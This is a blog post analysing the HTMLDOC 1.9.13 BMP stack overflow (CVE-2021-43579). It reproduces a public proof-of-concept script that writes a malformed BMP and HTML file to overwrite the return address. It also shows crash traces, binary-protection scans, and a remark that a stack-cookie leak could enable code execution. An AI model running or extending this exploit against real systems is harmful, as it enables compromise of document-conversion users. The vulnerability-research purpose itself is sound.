Post

CVE-2021-43579 1-Day Exploit Analysis

1-Day Exploit Analysis for CVE-2021-43579 (HTMLDOC <= 1.9.13)

CVE-2021-43579 1-Day Exploit Analysis

CVE-2021-43579 Detail

Quick Info

NVD Published Date: 01/10/2022
NVD Last Modified: 11/21/2024
Source: MITRE

Description

A stack-based buffer overflow in image_load_bmp() in HTMLDOC <= 1.9.13 results in remote code execution if the victim converts an HTML document linking to a crafted BMP file.

Metrics

CVSS Version 3.x
NIST: NVD
Base Score: 7.8 HIGH
Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H


CVSS Version 2.0
NIST: NVD
Base Score: 6.8 MEDIUM
Vector: (AV:N/AC:M/Au:N/C:P/I:P/A:P)


Weakness Enumeration

CWE-IDCWE NameSource
CWE-787Out-of-bounds WriteNIST

Known Affected Software Configurations

Configuration 1
cpe:2.3:a:htmldoc_project:htmldoc:*:*:*:*:*:*:*:* (<= 1.9.13) cpe:2.3:o:debian:debian_linux:9.0:*:*:*:*:*:*:*

Known Exploit

https://www.exploit-db.com/exploits/52425

HTMLDOC 1.9.13 - Stack Buffer Overflow

EDB-ID: 52425
CVE: 2021-43579
EDB Verified: X

Author: wulfgarpro
Type: Remote
Exploit: /download/52425 Raw: /raw/52425

Platform: Multiple
Date: 2025-09-16

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
# Exploit Code:
# ------------------------------------------------------------------------------
# Usage
# ------------------------------------------------------------------------------
# 0. Generate the HTML and evil BMP: `python3 CVE-2021-43579.py`
# 1. Trigger via HTMLDOC: `htmldoc --webpage -f out.pdf poc.html`
# ------------------------------------------------------------------------------

# 14-byte BITMAPFILEHEADER
BITMAPFILEHEADER = (
    b"\x42\x4d"  # bfType
    b"\x00\x00\x00\x00"  # bfSize
    b"\x00\x00"  # bfReserved1
    b"\x00\x00"  # bfReserved2
    b"\x00\x00\x00\x00"  # bfOffBits
)

# 40-byte BITMAPINFOHEADER
BITMAPINFOHEADER = (
    b"\x00\x00\x00\x00"  # biSize
    b"\x01\x00\x00\x00"  # biWidth = 0x00000001 (1)
    b"\x01\x00\x00\x00"  # biHeight = 0x00000001 (1)
    b"\x00\x00"  # biPlanes
    b"\x00\x00"  # biBitCount
    b"\x00\x00\x00\x00"  # biCompression
    b"\x00\x00\x00\x00"  # biSizeImage
    b"\x00\x00\x00\x00"  # biXPelsPerMeter
    b"\x00\x00\x00\x00"  # biYPelsPerMeter
    b"\xff\xff\xff\xff"  # biClrUsed = 0xffffffff (-1)
    b"\x00\x00\x00\x00"  # biClrImportant
)

PAYLOAD = b"A" * 1080  # cyclic: uaakvaak
PAYLOAD += b"B" * 8  # RIP overwrite


def generate_poc_bmp():
    with open("poc.bmp", "+wb") as poc_bmp:
        poc_bmp.write((BITMAPFILEHEADER + BITMAPINFOHEADER) + PAYLOAD)


def generate_poc_html():
    with open("poc.html", "+w") as poc_html:
        poc_html.write("<html><img src='./poc.bmp'/></html>")


if __name__ == "__main__":
    generate_poc_bmp()
    generate_poc_html()

Instructions

Exploit Title: HTMLDOC 1.9.13 - Stack Buffer Overflow
Google Dork: N/A
Date: 2025-08-26
Exploit Author: wulfgarpro
Vendor Homepage: https://github.com/michaelrsweet/htmldoc
Software Link: https://github.com/michaelrsweet/htmldoc/releases/tag/v1.9.13
Version: <= 1.9.13
Tested on: Linux x86_64
CVE: CVE-2021-43579

HTMLDOC’s BMP reader (image_load_bmp) uses a fixed-size stack buffer for the colour palette: 256 * 4 = 1024 bytes.

The image_load_bmp function advances past the 14-byte BITMAPFILEHEADER and parses the BITMAPINFOHEADER. The attacker-controlled biClrUsed field is read into an int and then directly drives the number of colour palette bytes copied into the 1024-byte stack buffer:

1
2
3
4
int colors_used;
uchar colormap[256][4]; // 1024 bytes
colors_used = (int)read_dword(fp); // biClrUsed
fread(colormap, (size_t)colors_used, 4, fp);

A fix in v1.9.13 only rejected colors_used > 256. Negative values are not rejected. A negative colors_used (e.g. biClrUsed = 0xffffffff == -1) is cast to size_t (wraps to SIZE_MAX), so fread is asked to copy a huge amount into the 1024-byte buffer.

fread(ptr, size, nmemb, ...) copies size * nmemb bytes. Here the call requests colors_used * 4 bytes. With biClrUsed = 0xffffffff (-1), (size_t)colors_used becomes SIZE_MAX, so the call requests an enormous read (size=SIZE_MAX, nmemb=4). In practice fread writes however many bytes are available; with our 1088-byte payload it overflows the 1024-byte buffer by 64 bytes:

Payload layout:

  • 1080 ‘A’ bytes: fill the 1024-byte stack buffer and a further 56 bytes.
  • 8 ‘B’ bytes: land on the saved return address on x86_64, producing RIP = 0x4242424242424242.

Example crash without _FORTIFY_SOURCE / stack protector:

1
2
3
4
5
6
7
8
► 0   0x55555559dbb7 image_load_bmp(image_t*, _IO_FILE*, int, int)+2615
1 0x4242424242424242 None
2              0x1 None
3       0x55a5d5e0 None
4   0x555555a9ffa0 None
5   0x555500000000 None
6   0x5555555a989c None
7   0x555555a5d5e0 _htmlGlyphs

With _FORTIFY_SOURCE=2, overflow is detected:

1
2
3
4
5
6
7
8
9
10
11
12
*** buffer overflow detected ***: terminated

Program received signal SIGABRT, Aborted.

► 0   0x7ffff749894c None
1   0x7ffff743e410 raise+32
2   0x7ffff742557a abort+38
3   0x7ffff7426613 None
4   0x7ffff7526319 None
5   0x7ffff7525c84 None
6   0x7ffff7526565 __fread_chk+389
7   0x5555555930d9 image_load_bmp(image_t*, _IO_FILE*, int, int)+346

Software Release

htmldoc v1.9.13

NGP Repo

Binary Scan

Result of winchecksec

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
D:\winchecksec>winchecksec.exe D:\HTMLDOC\htmldoc.exe
Warn: large load config, probably contains undocumented fields
Results for: D:\HTMLDOC\htmldoc.exe
Dynamic Base    : "NotPresent"
ASLR            : "NotPresent"
High Entropy VA : "NotPresent"
Force Integrity : "NotPresent"
Isolation       : "Present"
NX              : "Present"
SEH             : "Present"
CFG             : "NotPresent"
RFG             : "NotPresent"
SafeSEH         : "NotApplicable"
GS              : "Present"
Authenticode    : "NotPresent"
.NET            : "NotPresent"
Security FeaturePresent
Dynamic BaseNotPresent
ASLRNotPresent
High Entropy VANotPresent
Force IntegrityNotPresent
IsolationPresent
NXPresent
SEHPresent
CFGNotPresent
RFGNotPresent
SafeSEHNotApplicable
GSPresent
AuthenticodeNotPresent
.NETNotPresent

Result of Detect It Easy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
D:\Detect It Easy>diec.exe D:\HTMLDOC\htmldoc.exe --heuristicscan --verbose
[HEUR/About] Generic Heuristic Analysis by DosX (@DosX_dev)
[HEUR] Scanning has begun!
[HEUR] Scanning to programming language has started!
[HEUR/Any] C/C++ language detected!
[HEUR] Scan completed.
PE64
    Operation system: Windows(Vista)[AMD64, 64-bit, Console]
    Linker: Microsoft Linker(14.29.30136)
    Compiler: Microsoft Visual C/C++(19.29.30136)[C]
    Language: C
    Library: Microsoft C/C++ Runtime[dynamic]
    Library: zlib
    Tool: Visual Studio(2019, v16.11)
Binary InformationInformation
Operating SystemWindows(Vista)[AMD64, 64-bit, Console]
LinkerMicrosoft Linker(14.29.30136)
CompilerMicrosoft Visual C/C++(19.29.30136)[C]
LanguageC
LibraryMicrosoft C/C++ Runtime[dynamic]
Libraryzlib
ToolVisual Studio(2019, v16.11)

Vulnerability Confirmation

1
2
D:\test>CVE-2021-43579.py
D:\test>"D:\HTMLDOC\htmldoc.exe" --webpage -f out.pdf "D:\test\poc.html"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
x64dbg:
Debugging: D:\HTMLDOC\htmldoc.exe
Database file: D:\release\x64\db\htmldoc.exe.dd64
Loading commandline...
Loading database from D:\release\x64\db\htmldoc.exe.dd64 31ms
Process Started: 0000000140000000 D:\HTMLDOC\htmldoc.exe
  "D:\HTMLDOC\htmldoc.exe" --webpage -f out.pdf "D:\test\poc.html"
  argv[0]: D:\HTMLDOC\htmldoc.exe
  argv[1]: --webpage
  argv[2]: -f
  argv[3]: out.pdf
  argv[4]: D:\test\poc.html
Breakpoint at 0000000140001479 (entry breakpoint) set!

...

System breakpoint reached!
INT3 breakpoint "entry breakpoint" at <htmldoc.OptionalHeader.AddressOfEntryPoint> (0000000140001479)!
EXCEPTION_DEBUG_INFO:
           dwFirstChance: 0
           ExceptionCode: C0000409 (STATUS_STACK_BUFFER_OVERRUN)
          ExceptionFlags: 00000001
        ExceptionAddress: ucrtbase.00007FFFC1F0CBA8
        NumberParameters: 1
ExceptionInformation[00]: 0000000000000005
Last chance exception on 00007FFFC1F0CBA8 (C0000409, STATUS_STACK_BUFFER_OVERRUN)!

This error is most likely due to a guard stack (GS) protection, also known as Stack Cookie.

1
2
3
4
5
.text:0000000140035435                 mov     rcx, [rsp+488h+var_18]
.text:000000014003543D                 xor     rcx, rsp        ; StackCookie
.text:0000000140035440                 call    j___security_check_cookie
.text:0000000140035445                 add     rsp, 488h
.text:000000014003544C                 retn

I confirmed that [rsp+488h+var_18] is the stack cookie memory offset.

Conclusion

Currently, a practically successful RCE attack cannot be carried out due to the GS (Guard Stack). However, an RCE attack is possible if GS’s Stack Cookie can be read due to a format string vulnerability or other information leakage vulnerability.

This post is licensed under CC BY 4.0 by the author.